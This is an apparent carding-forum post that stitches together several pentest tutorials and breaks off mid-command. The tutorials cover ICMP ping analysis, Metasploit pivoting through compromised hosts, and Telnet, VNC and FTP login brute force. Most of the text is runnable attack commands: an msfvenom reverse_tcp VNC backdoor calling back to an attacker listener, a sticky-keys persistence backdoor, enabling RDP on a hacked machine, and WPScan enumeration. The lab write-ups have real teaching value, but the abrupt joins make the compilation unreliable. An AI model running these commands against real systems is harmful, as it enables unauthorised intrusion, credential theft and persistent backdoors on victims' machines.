Error: The error statement messages reports problem which a router or a destination host may generate.
For example: given below message types are some of the ICMP error codes:

Type 3 = Destination Unreachable
Type 4 = Source Quench
Type 5 = Redirect
Type 11 = Time Exceeded
Type 12 = Parameter Problems

When we ping an IP sometimes we don’t get echo ping reply from the host machine, instead of that, we get some reply such as destination unreachable or time exceeded this is known as ICMP error reporting message. There are so many reasons behind such kind of error message, possibly a host in a network is down or firewall is blocking your ping request.
[Image: 4.png?w=687&ssl=1]

The 1st packet sends by source machine is ICMP echo request and if you observe by the given below image the highlighted text is showing ICMP query code: type 8 echo ping request.
Similarly given below image is showing the detail of 2nd packet i.e. Destination unreachable, you can observe that it is showing ICMP error code: type 3.
[Image: 5.png?w=687&ssl=1]

ping –a 192.168.0.105
1
ping –a 192.168.0.105
-a: Resolve IP addresses to host-name, identify’s that reverse name resolution is carried out on the host IP address. If it is successful, ping shows the matching hostname.
[Image: 10.png?w=687&ssl=1]

From the given below image, you can observe that instead of ICMP protocol the ping request has been sent through NBNS (NetBIOS Name Service)protocol through port 137 which is a UDP port.
[Image: 11.png?w=687&ssl=1]

After applying UDP filter you can read hostname captured by Wireshark “WIN-1GKSSJ7D2AE” is the part of a workgroup.
[Image: 12.png?w=687&ssl=1]

By default, a ping sends 4 packets of the request and receives the same number of the packet as a reply from the host. You can increase or decrease this number of the packet by using given below command.
ping –n 2 192.168.0.105
1
ping –n 2 192.168.0.105
-n: Number of echo requests to send
As we had set -n as 2 packets of request hence we got two packets as a reply.
[Image: 13.png?w=687&ssl=1]

Similarly, we can also set TTL (Time to Live) for echo request packet, by default 4 packet of request query are sent from source machine at the rate of 1 millisecond per packet. Suppose we want to give TTL between two packets, set -i as 5ms so that after the first packet is delivered the second packet is sent after 5ms.
ping –i 5 192.168.0.105
1
ping –i 5 192.168.0.105
-i TTL: Time To Live
[Image: 14.png?w=687&ssl=1]

Let’s verify TTL for a packet sent from source to destination through Wireshark. Now if you observe by the given below image you will notice that every echo ping request packet has TTL 5 but every echo reply has default TTL value i.e.128.
[Image: 15.png?w=687&ssl=1]

ICMP payload description through Wireshark
As we have discussed above default size of ICMP payload is 32 bytes and the maximum is 1472 if the size of the payload packet is greater than 1472 then packet gets fragmented into small packets.
From the given below image, you can observe source has pinged the host which carries default 32 bytes size payload.
[Image: 16.png?w=687&ssl=1]

Now let check the information payload carries from source to destination using Wireshark. From the given below image, you can read that highlighted texts are alphabets that have been used as 32 bytes payload.
The alphabet is the combination 26 letters but in 32 bytes payload, they are used as:
abcd——uvw are 23 letters only 9 letters needed more to complete 32 bytes therefore again it included 9 alphabets more i.e. abcdefghi
[Image: 17.png?w=687&ssl=1]

You can reset the size of payload using the following command that will carry echo ping request from a source to destination.
ping -l 33 192.168.0.105
1
ping -l 33 192.168.0.105
As we have seen above the 32 bytes payload carry data in the form of alphabets abcd—-uvw and then abcd—hi. Hence if the size of the payload is 33 then data should start from abcd—-uvw and then abcd—hij. Alphabet “j” must be the last payload of the data packet.
[Image: 18.png?w=687&ssl=1]

From the given image you can confirm that the Alphabet “j” is the last payload of a data packet, In this way increasing the payload size will add an alphabet letter into the data packet.
Length of the frame has become 75 now as shown in below table:
Ethernet header
IP header
ICMP header
ICMP payload size
MTU (1514)
14
20 bytes
8 bytes
33 (default)
14+20+8+33=75
[Image: 19.png?w=687&ssl=1]

Now we are sending the maximum size of payload using the following command.
ping -l 1472 192.168.0.105
1
ping -l 1472 192.168.0.105
From the given below image, you can see a reply from the host machine.
[Image: 20.png?w=687&ssl=1]

According to MTU if the size of the payload is set to 1472 then frame size will become 1514 as explain above, let’s verify it from Wireshark. From given below image you can read length of the frame is 1514 and highlighted text is showing data of 1472 bytes payload.
[Image: 21.png?w=687&ssl=1]

When the size of the payload is greater than 1472 or too large for a network to hold and reach a router, the router breaks it into smaller packets (fragments).
ping -l 1473 192.168.0.105
1
ping -l 1473 192.168.0.105
From the given below image, you can see now the size of the payload is 1473 which carries echo ping request from a source to destination.
[Image: 22.png?w=687&ssl=1]

From the given image you can confirm that when the payload is more than 1472 ICMP packet it gets fragmented as per below table:
Ethernet header
IP header
ICMP header
ICMP payload size
MTU (1514)
14
20 bytes
8 bytes
1472
14+20+8+1472=1514
14
20
–
1
35
If you separate Ethernet header and IP header the size of payload will be 1480 bytes as shown below.
[Image: 23.png?w=687&ssl=1]

Using –f option with ping command will not allow packet fragmentation in the network.
ping –f –l 1472 192.168.0.105
1
ping –f –l 1472 192.168.0.105
-f: Set Don’t Fragment flag in the packet
[Image: 24.png?w=687&ssl=1]

From the given below image you can observe remote host has set (don’t) fragment flag which will not allow the router to fragment the payload packets. Moreover, 1472 bytes payload didn’t need fragmentation by the router.
[Image: 25.png?w=687&ssl=1]

If the packet size 1473 is set with (don’t) fragment flag with ping, the router will reject the packet and will display an ICMP message that the packet needs to be fragmented because of MTU size limit of 1500 bytes
IP header
ICMP header
ICMP payload size
MTU (1500)
20 bytes
8 bytes
1473 bytes (without fragment)
More than 1500 bytes Not possible
[Image: 26.png?w=687&ssl=1]

In our previous tutorial, we had discussed on SSH pivoting and today we are going to discuss Telnet pivoting.
From Offensive Security
Pivoting is a technique to get inside an unreachable network with help of pivot (center point). In simple words, it is an attack through which an attacker can exploit that system which belongs to the different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then the attacker will able to target the client system for the attack.
Lab Setup requirement:
Attacker machine: Kali Linux
Pivot Machine (client): window operating system with two network interface
Target Machine: Ubuntu server (Allow telnet service)
[Image: 0.1.png?w=687&ssl=1]

Exploit pivot machine
Use exploit MS17-010 or multi handler to hack the pivot machine.
sessions
1
sessions
From the given image, you can confirm that I owned a pivot machine (192.168.1.107) meterpreter session1.
[Image: 0.png?w=687&ssl=1]

Check the network interface through the following command:
meterpreter> ifconfig
1
meterpreter> ifconfig
From the given image you can observe two networks interface in pivot’s system 1st for IP 192.168.1.107 through which the attacker is connected and 2nd for IP 10.0.0.20 through which telnet server (targets) are connected.
[Image: 1.png?w=687&ssl=1]

Route Add
Since the attacker belongs to the 192.168.1.1 interface and target belongs to 10.0.0.0 interface, therefore, it is not possible to directly make an attack on the target network until unless the attacker acquires the same network connection. In order to achieve a 10.0.0.0 network attacker need to run the post exploitation “autoroute”.
use post/multi/manage/autoroute
msf post(autoroute) > set session 1
msf post(autoroute) > exploit
1
2
3
use post/multi/manage/autoroute
msf post(autoroute) > set session 1
msf post(autoroute) > exploit
[Image: 2.png?w=687&ssl=1]

This Module will perform an ARP scan for a given IP range through a Meterpreter Session.
use post/windows/gather/arp_scanner
msf post(arp_scanner) > set rhosts 10.0.0.1-30
msf post(arp_scanner) > set session 1
msf post(arp_scanner) > set thread 20
msf post(arp_scanner) > exploit
1
2
3
4
5
use post/windows/gather/arp_scanner
msf post(arp_scanner) > set rhosts 10.0.0.1-30
msf post(arp_scanner) > set session 1
msf post(arp_scanner) > set thread 20
msf post(arp_scanner) > exploit
Here we found a new IP 10.0.0.10 as shown in the given image. Let’s perform TCP port scan for activated services on this machine.
[Image: 3.png?w=687&ssl=1]

This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 23
msf auxiliary(tcp) > set rhosts 10.0.0.10
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit
1
2
3
4
5
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 23
msf auxiliary(tcp) > set rhosts 10.0.0.10
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit
From given you can observe port 23 is open and we know that port 23 is used for telnet service.
[Image: 4.png?w=687&ssl=1]

Use Telnet login Brute Force Attack
An attacker always tries to make a brute force attack for stealing credential for unauthorized access.
This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
Now type the following command to Brute force TELNET login:
use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts 10.0.0.10
msf auxiliary(telnet_login) > set user_file /root/Desktop/user
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass
msf auxiliary(telnet_login) > exploit
1
2
3
4
5
use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts 10.0.0.10
msf auxiliary(telnet_login) > set user_file /root/Desktop/user
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass
msf auxiliary(telnet_login) > exploit
From given image you can observe that TELNET server is not secure against brute force attack because it is showing a matching combination of username: aarti and password: 123 for login simultaneously it has opened victims command shell as session 2
[Image: 5.1.png?w=687&ssl=1]

Let’s count the number of victim sessions we have hold using the following command:
sessions
1
sessions
From the given image you can observe there are two sessions 1st as the meterpreter session of windows system and 2nd as command shell of the telnet server.
[Image: 5.2.png?w=687&ssl=1]

sessions 2
1
sessions 2
Now attacker is command shell of the server, let’s verify through network configuration.
ifconfig
1
ifconfig
From given, you can observe the network IP is 10.0.0.10
[Image: 5.3.png?w=687&ssl=1]

In the previous article we had described VNC penetration testing and VNC tunneling through SSH but today we are going to demonstrate VNC pivoting.
From Offensive Security
Pivoting is a technique to get inside an unreachable network with help of pivot (center point). In simple words, it is an attack through which an attacker can exploit those systems which belong to the different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then the attacker will able to target the client system for the attack.
Lab Setup requirement:
Attacker Machine: Kali Linux
Pivot Machine: Ubuntu operating system with two network interface
Target Machine: Ubuntu (Allow VNC service)
[Image: 11.png?w=687&ssl=1]

Exploit pivot machine
Generate payload using msfvenom start multi/handler to hack the pivot machine (ubuntu) read the complete article from here and bypass its UAC to achieve admin privileges.
sysinfo
1
sysinfo
From the given image you can confirm that I owned a pivot machine (192.168.1.226) meterpreter session.
[Image: 12.png?w=687&ssl=1]

Check the network interface through the following command:
meterpreter> ifconfig
1
meterpreter> ifconfig
From the given image you can observe two networks interface in pivot’s system 1st for IP 192.168.1.226 through which the attacker is connected and 2nd for IP 10.0.0.10 through which VNC server (targets) are connected.
[Image: 13.png?w=687&ssl=1]

Route Add
Since the attacker belongs to the 192.168.1.1 interface and client belongs to 10.0.0.0 interface, therefore, it is not possible to directly make an attack on client network until unless the attacker acquires the same network connection. In order to achieve a 10.0.0.0 network attacker need to run the post exploitation “autoroute”.
use post/multi/manage/autoroute
msf post(autoroute) > set session 3
msf post(autoroute) > exploit
1
2
3
use post/multi/manage/autoroute
msf post(autoroute) > set session 3
msf post(autoroute) > exploit
[Image: 15.png?w=687&ssl=1]

ARP Sweep to identify Active host
This module will enumerate alive Hosts in the local network using ARP requests. Take help from target network interface 3 as shown above for MAC address and other details.
use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(arp_sweep) >set rhost 10.0.0.1-254
msf auxiliary(arp_sweep) >set shost 10.0.0.10
msf auxiliary(arp_sweep) >set smac 00:0c:29:bf:43:94
msf auxiliary(arp_sweep) >run
1
2
3
4
5
use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(arp_sweep) >set rhost 10.0.0.1-254
msf auxiliary(arp_sweep) >set shost 10.0.0.10
msf auxiliary(arp_sweep) >set smac 00:0c:29:bf:43:94
msf auxiliary(arp_sweep) >run
Here we found a new host IP 10.0.0.20 as shown in the given image. Let’s perform TCP port scan for activated services on this machine.
[Image: 16.png?w=687&ssl=1]

TCP Port Scan
This module will enumerate open TCP port of the target system.
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 10.0.0.20
msf auxiliary(tcp) > set thread 20
msf auxiliary(tcp) >exploit
1
2
3
4
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 10.0.0.20
msf auxiliary(tcp) > set thread 20
msf auxiliary(tcp) >exploit
From given you can observe port 5900 is open and we know that 5900 used for VNC services.
[Image: 17.png?w=687&ssl=1]

Bruteforcing VNC Login
In order to steal password for making unauthorized access in VNC machine apply Brute force attack using password, the dictionary is given below exploit.
use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) >set rhosts 10.0.0.20
msf auxiliary(vnc_login) >set pass_file /root/Desktop/pass.txt
msf auxiliary(vnc_login) > run
1
2
3
4
use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) >set rhosts 10.0.0.20
msf auxiliary(vnc_login) >set pass_file /root/Desktop/pass.txt
msf auxiliary(vnc_login) > run
Awesome!! From given below image you can observe the same password: 123456 have been found by Metasploit.
[Image: 18.png?w=687&ssl=1]

VNC Port forwarding on Local port
Now Type the following command for port forwarding on localhost.
meterpreter> portfwd add –l 6000 –p 5900 –r 10.0.0.20
1
meterpreter> portfwd add –l 6000 –p 5900 –r 10.0.0.20
-l: This is a local port to listen on.
-p: The remote port to connect on.
-r: The remote host address to connect on.
[Image: 20.png?w=687&ssl=1]

Now open the terminal and type following command to connect the target machine:
vncviewer 127.0.0.1:6000
1
vncviewer 127.0.0.1:6000
Wonderful!! We had successfully exploited the VNC client by making unauthorized access.
[Image: 22.png?w=687&ssl=1]

[Guide] How to VNC tunneling over SSH

Posted by: NINZA - 05-14-2020, 05:07 AM - Forum: Carders Home - No Replies

In the previous article we had performed VNC penetration testing and today you will VNC tunneling to connect the remote machine with VNC server when they both belong different network interface.
Basically, tunneling is a process which allows data sharing or communication between two different networks privately. Tunneling is normally performed through encapsulating the private network data and protocol information inside the public network broadcast units so that the private network protocol information visible to the public network as data.
Let’s Begin!!
Requirement:
Server machine(Ubuntu): Two network interface with activated SSH service
Local machine (Ubuntu): activated VNC service
Remote machine(window): with install tight VNC viewer
In the following image, we are trying to explain the VNC tunneling process where a remote PC of IP 192.168.1.225 is trying to connect to 10.0.0.20 which is on INTRANET of another network. To establish a connection with the local machine, remote PC will create VNC tunnel which will connect with the local system via SSH server machine.
[Image: 0.png?w=687&ssl=1]
Given the image below is describing the network configuration for server machine (SSH) where it is showing two IP 192.168.1.226 and another 10.0.0.10 as explain above.
[Image: 1.png?w=687&ssl=1]
Another image given below is describing network configuration for a local machine which is showing IP 10.0.0.20
[Image: 2.png?w=687&ssl=1]
Checking activated VNC service using the following command:
netstat -tlp
1
netstat -tlp
Hence from the given image, you can see the highlighted text is showing 5900 is enabled in the local machine.
[Image: 3.png?w=687&ssl=1]
Open the terminal and type using the following command to connecting to VNC machine (IP: 10.0.0.20) through server machine (IP: 10.0.0.10).
vncviewer 10.0.0.20
1
vncviewer 10.0.0.20
[Image: 4.png?w=687&ssl=1]
Great!! Local machine successfully connected
[Image: 5.png?w=687&ssl=1]
Similarly Using tight vnc viewer remote machine (192.168.1.225) now trying to connect local machine (IP: 10.0.0.10) as shown in the given image
[Image: 6.png?w=687&ssl=1]
Since they belong to the different network, therefore, he receives network error.
[Image: 7.png?w=687&ssl=1]
Follow given below step to connect remote machine to the local machine via ssh server.

Open TightVNC connection and enter the local machine IP: 0.0.20 with port 5900.
Enable SSH tunneling
Now enter ssh server IP: 168.1.226 with port 22 and ssh server username: ubuntu.

Congrats!!! The remote machine had successfully connected with the local machine through VNC.
[Image: 11.png?w=687&ssl=1]

Welcome to Internal penetration testing on VNC server where you will learn VNC installation and configuration, enumeration and attack, system security and precaution.
Table of Content

Introduction to VNC
Lab Set-Up Requirement
VNC Installation
Connect Window PC to VNC server
TCP Port Scanning
VNC Banner Grabbing
Password Attack
Access VNC with Kali Linux
Exploit VNC using Msfvenom
VNC Post Exploitation
Shift Default Port to Another

Introduction to VNC
Virtual Network Computing (VNC) is a graphical desktop sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical screen updates back in the other direction. It uses port 5900: VNC and 5901: VNC-1.
From Wikipedia
Penetration Lab Requirements
VNC Server: ubuntu
Attacker system: Kali Linux
Client system: window (tight VNC view)
Let’s start!!
VNC Installation
Open the terminal and follow the given below steps by executing a given command for VNC installation.
Given below command will install the desktop, Unity, as well as several packages that are required for the graphical interface to work properly.
sudo apt-get install gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal
1
sudo apt-get install gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal
[Image: 1.png?w=687&ssl=1]

Now type the following command for VNC server installation.
sudo apt-get install vnc4server
1
sudo apt-get install vnc4server
[Image: 2.png?w=687&ssl=1]

Given below command will reset your server password that is required for VNC login
sudo vncpasswd
1
sudo vncpasswd
The password should be a minimum 6 digits; I have set server password: 098765 for VNC authentication.
[Image: 3.png?w=687&ssl=1]

Type the given below command to run VNC
sudo vncserver :1
1
sudo vncserver :1
[Image: 4.png?w=687&ssl=1]

It is required to kill the process if you want to make some changes in running VNC server.
sudo vncserver -kill :1
1
sudo vncserver -kill :1
[Image: 5.png?w=687&ssl=1]

Now type the following command in order to open VNC startup file for making some changes.
sudo gedit ~/.vnc/xstartup
1
sudo gedit ~/.vnc/xstartup

Add given below line in startup file as shown in given and save the changes.
exec gnome-session &
exec gnome-panel &
exec gnome-settings-daemon &
exec metacity &
1
2
3
4
exec gnome-session &
exec gnome-panel &
exec gnome-settings-daemon &
exec metacity &
[Image: 7.png?w=687&ssl=1]

Execute given below command to set the resolution of the Desktop screen.
sudo vncserver :1 -geometry 1024x768 -depth 24
1
sudo vncserver :1 -geometry 1024x768 -depth 24
[Image: 8.png?w=687&ssl=1]

After following above 7 steps check service status of VNC server using given below command.
sudo netstat -tnl |grep 5901
1
sudo netstat -tnl |grep 5901
From the given image you can confirm that port 5901 is activated

Connect Window PC to VNC server
TightVNC is a free remote control software package that helps the client to connect with VNC server. I have

[To see content please register here]

it in the client machine so that he can connect to the vnc server.
Run TightVNC Viewer and enter [192.168.1.218:5901] server IP: port number as shown in the given image and then click on connect.
[Image: 10.png?w=687&ssl=1]

The client will get VNC authentication Pop up enter the server password which you have set above.
[Image: 11.png?w=687&ssl=1]

From the given image you can observe that window client is connected to ubuntu server and we have accessed his Desktop you can control it using mouse and keyboard.
[Image: 12.png?w=687&ssl=1]

TCP Port Scanning
Scanning plays an important role in penetration testing because through scanning attacker make sure which services and open ports are available for enumeration and attack.
Here we are using nmap for scanning port and protocols.
nmap -sT 192.168.1.218
1
nmap -sT 192.168.1.218
If service is activated in the targeted server then nmap shows open STATE for port 5901.
[Image: 13.png?w=687&ssl=1]

VNC Banner Grabbing
Following nmap command will Queries a VNC server for its protocol version and supported security types.
nmap -p 5901 --script vnc-info 192.168.1.218
1
nmap -p 5901 --script vnc-info 192.168.1.218
From given below image you can conclude that it has shown protocol version 3.8 and security type: VNC authentication 2.
[Image: 14.png?w=687&ssl=1]

Password Attack
This module will test a VNC server on a range of machines and report successful logins. Currently, it supports RFB protocol version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge-response authentication method.
use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) >set rhosts 192.168.1.218
msf auxiliary(vnc_login) >set rport 5901
msf auxiliary(vnc_login) >set pass_file /root/Desktop/pass.txt
msf auxiliary(vnc_login) > run
1
2
3
4
5
use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) >set rhosts 192.168.1.218
msf auxiliary(vnc_login) >set rport 5901
msf auxiliary(vnc_login) >set pass_file /root/Desktop/pass.txt
msf auxiliary(vnc_login) > run
Awesome!! From given below image you can observe the same password: 098765 found by Metasploit.
[Image: 16.png?w=687&ssl=1]

Access VNC with Kali Linux
Open a new terminal and type following command for connecting with VNC server using above password 098765
vncviewer 192.168.1.218:5901
1
vncviewer 192.168.1.218:5901
[Image: 17.png?w=687&ssl=1]

Nice!! You can see after making successfully brute force attack, an attacker can easily connect with vnc server.
[Image: 18.png?w=687&ssl=1]

Exploit VNC using Msfvenom
Create a VNC payload using msfvenom and try to achieve a VNC shell of a victim’s PC.
Open the terminal in your Kali Linux and type following command to generate a VNC payload using the msfvenom command.
msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.1.216 lport=4455 -f exe > /var/www/html/vnc.exe
1
msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.1.216 lport=4455 -f exe > /var/www/html/vnc.exe
Now the above command will generate an exe file for the VNC payload in /var/www/html of Kali Linux.
[Image: 19.png?w=687&ssl=1]

Being an attack you need to send this backdoor to the target and start multi handler in the Metasploit framework.
use exploit/multi/handler
msf exploit(handler) > set payload windows/vncinject/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.216
msf exploit(handler) > set lport 4455
msf exploit(handler) > set viewonly false
msf exploit(handler) > run
1
2
3
4
5
6
use exploit/multi/handler
msf exploit(handler) > set payload windows/vncinject/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.216
msf exploit(handler) > set lport 4455
msf exploit(handler) > set viewonly false
msf exploit(handler) > run
[Image: 20.png?w=687&ssl=1]

Now attacker tries to connect with the target using VNC payload, from given screenshot you can see it has launched vncviewer and we have our session 1 is running at background.
[Image: 21.png?w=687&ssl=1]

Here you can see the desktop screen of victim’s pc through will attacker is connected.
[Image: 22.png?w=687&ssl=1]

VNC Post Exploitation
Suppose you have already exploited any window system and got victim’s system reverse connection through the meterpreter session.
Type the given below command which will inject a VNC DLL via a reflective loader (staged). Connect back to the attacker.
meterpreter > run vnc
1
meterpreter > run vnc
[Image: 23.png?w=687&ssl=1]

Great!! Again the attacker is connected to a victim’s system.
[Image: 24.png?w=687&ssl=1]

Shift Default Port to Another
Open vnserver setup files using given below command:
sudo gedit /usr/bin/vncserver
1
sudo gedit /usr/bin/vncserver

Follow given below step for making changes
Add # to comment “vncport = 5900”
Add a new line as shown in given image for forwarding VNC service as vncPort = 8800;
[Image: 26.png?w=687&ssl=1]

Now try to connect with vnc server through port 8800 as connected above through TightVNC viewer and enter the password.
[Image: 27.png?w=687&ssl=1]

Hence you can see the vnc connection has been established successfully.
[Image: 28.png?w=687&ssl=1]

In our previous tutorial we had discussed on SSH pivoting & RDP pivoting and today you will learn FTP pivoting attack.
From Offensive Security
Pivoting is a technique to get inside an unreachable network with help of pivot (center point). In simple words, it is an attack through which an attacker can exploit those systems which belong to the different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then the attacker will able to target the client system for the attack.
Lab Setup requirement:
Attacker machine: Kali Linux
Pivot Machine: window operating system with two network interface
Target Machine: window 7 (Allow FTP service)
[Image: 1.png?w=687&ssl=1]

Exploit pivot machine
Use exploit MS17-010 or multi handler to hack the pivot machine and bypass its UAC to achieve admin privileges.
sessions
1
sessions
From the given image you can confirm that I owned a pivot machine (192.168.0.101) meterpreter sessions 1.
[Image: 2.png?w=687&ssl=1]

Launch the sticky key attack
Here I need to make post exploits to launch the sticky key attack
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set session 1
msf post(sticky_keys) >exploit
1
2
3
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set session 1
msf post(sticky_keys) >exploit
Great!! It has successfully launched a sticky attack in pivot machine and now we will utilize it later for establishing a connection with the target FTP server.
[Image: 3.png?w=687&ssl=1]

Enable RDP service
Open meterpreter session1 and type following command which will enable remote Desktop service in the pivoted machine.
meterpreter> run getgui -e
1
meterpreter> run getgui -e
[Image: 4.png?w=687&ssl=1]

Verify the network interface of the pivot
Check the network interface through the following command:
meterpreter> ifconfig
1
meterpreter> ifconfig
From the given image you can observe two networks interface in pivot’s system 1st for IP 192.168.0.101 through which the attacker is connected and 2nd for IP 192.168.100.102 through which FTP server (targets) are connected.
[Image: 5.png?w=687&ssl=1]

Autoroute
Since the attacker belongs to 192.168.0.1 interface and client belongs to 192.168.100.0 interface, therefore, it is not possible to directly make an attack on client network until unless the attacker acquires the same network connection. In order to achieve 192.168.100.0 network attacker need to run the post exploitation “autoroute”.
This module manages session routing via an existing Meterpreter session. It enables other modules to ‘pivot’ through a compromised host when connecting to the named NETWORK and SUBMASK. Autoadd will search a session for valid subnets from the routing table and interface list then add routes to them. The default will add a default route so that all TCP/IP traffic not specified in the MSF routing table will be routed through the session when pivoting.
use post/multi/manage/autoroute
msf post(autoroute) > set session 1
msf post(autoroute) > exploit
1
2
3
use post/multi/manage/autoroute
msf post(autoroute) > set session 1
msf post(autoroute) > exploit
[Image: 6.png?w=687&ssl=1]

Ping Sweep
This module will perform IPv4 ping sweep using the OS included ping command.
use post/windows/gather/ping_sweep
msf post(ping_sweep) > set rhosts 192.168.100.1-110
msf post(ping_sweep) > set session 1
msf post(ping_sweep) > exploit
1
2
3
4
use post/windows/gather/ping_sweep
msf post(ping_sweep) > set rhosts 192.168.100.1-110
msf post(ping_sweep) > set session 1
msf post(ping_sweep) > exploit
Here we found a new host IP 192.168.100.103 as shown in the given image. Let’s perform TCP port scan for activated services on this machine.
[Image: 7.png?w=687&ssl=1]

Use TCP Port Scan
This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 21
msf auxiliary(tcp) > set rhosts 192.168.100.103
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit
1
2
3
4
5
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 21
msf auxiliary(tcp) > set rhosts 192.168.100.103
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit
From given you can observe port 21 is open and we know that 21 used for FTP services.
[Image: 8.png?w=687&ssl=1]

FTP Login Brute Force
This module will test FTP logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.100.103
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit
1
2
3
4
5
6
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.100.103
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit
From the given image you can observe it is showing the matching combination of username: raj and password: 123 for login.
[Image: 9.png?w=687&ssl=1]

Connect to pivot through RDP
Open a new terminal in Kali Linux and type the following command to connect with pivot machine through RDP service
rdesktop 192.168.0.101
1
rdesktop 192.168.0.101
[Image: 10.png?w=687&ssl=1]

If you remember we had launched sticky attack above which will open a command prompt on logon screen when you will hit 5 times shift key.
Now press 5 times to shift key then you will get command prompt and type “start iexplore.exe” which will lunch Internet Explore.
[Image: 11.png?w=687&ssl=1]

Connect with FTP server
Execute the following URL in the browser for FTP connection:

[To see content please register here]

Now enter the credential which we had found through FTP login brute force attack i.e. raj: 123
[Image: 12.png?w=687&ssl=1]

Congrats!!! We are successfully connected with FTP server through pivot machine.
[Image: 13.png?w=687&ssl=1]

In our

[To see content please register here]

article we had discussed “WordPress Penetration Testing Lab Setup in Ubuntu” and today you will learn WordPress penetration testing using WPScan and Metasploit
Attacker: Kali Linux
Target: WordPress
WPScan is a black box vulnerability scanner for WordPress written in PHP mainly focus on different types of vulnerability in WordPress, WordPress themes, and plugins. Well, WPScan tool is already installed by default in Kali Linux, SamuraiWTF, Pentoo, BlackArch, and BackBox Linux. WPScanuses the database of all the available plugins and themes (approximately 18000 plugins and 2600 themes) during testing against the target to find outdated versions and vulnerabilities.
Things WPScan can do for you are:

Detect a version of currently installed WordPress.
Can detect sensitive files like readme, robots.txt, database replacing files, etc.
Detect enabled features on currently installed WordPress.
Enumerate theme version and name.
Detect installed plugins and can tell you if it is outdated or not.
Enumerate user names also.

Let’s start
Go to your Kali Linux terminal and type following to download wpscan from git hub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Now simply type in terminal to run the script:
./wpscan.rb -h
1
./wpscan.rb -h
Using default Option we will go to penetrate our WordPress website:
[Image: 2.png?w=687&ssl=1]

Scanning WordPress version of the target website
Wpscan is a great tool to scan WordPress websites. Now we will try to do some basic scan, we will use enumerate tools to find information about themes, plugins, usernames etc.
Now type the following command to scan WordPress and its server:
./wpscan.rb -u

[To see content please register here]

1
./wpscan.rb -u

[To see content please register here]

Instead of

[To see content please register here]

type the name of a website you want to scan.
Here it found server: Apache/2.4.7, PHP /5.5.9 WordPress version 4.8.1, using this information an attacker can check for its exploit in Google. Moreover, it also found that the upload directory has directory listing enable which means anyone can browse the directory /wp-content/uploads to view the uploaded files and contents.
[Image: 3.png?w=687&ssl=1]

Enumerating WordPress Theme
A theme controls the general look and feel of the website including things like page layout, widget locations, and default font and color choices. WordPress.com has a wide range of themes for its user and each theme has an about page that includes features and instructions.
To scan the installed theme of WordPress website type following command:
./wpscan.rb -u

[To see content please register here]

--enumerate t
1
./wpscan.rb -u

[To see content please register here]

--enumerate t
[Image: 5.png?w=687&ssl=1]

Enumerating WordPress vulnerable Theme
To scan the installed vulnerable theme of WordPress website type following command:
./wpscan.rb -u

[To see content please register here]

--enumerate vt
1
./wpscan.rb -u

[To see content please register here]

--enumerate vt
From scanning result, we didn’t find any vulnerable theme which means there is no vulnerable theme which can be exploited.
[Image: 6.1.png?w=687&ssl=1]

Enumerating WordPress Plugins
Plugins are a small piece of code of a program which can be added to a WordPress website to extend its functionality.
To find installed plugins on our target’s WordPress website, type in terminal:
./wpscan.rb -u

[To see content please register here]

--enumerate p
1
./wpscan.rb -u

[To see content please register here]

--enumerate p
[Image: 6.png?w=687&ssl=1]

Finally, after a few seconds, you will get the result of the installed plug-in. You can see that in my scan result askismet v3.3.3, pixabay-images v2.14, wptouch v3.4.3 such types of the installed plug-in are detected. As well as it also describes the last update and the latest version of that plug-in.
[Image: 7.png?w=687&ssl=1]

Enumerating WordPress vulnerable Plugins
Now type the following command to scan vulnerable plug-in of any WordPress website:
./wpscan.rb -u

[To see content please register here]

--enumerate vp
1
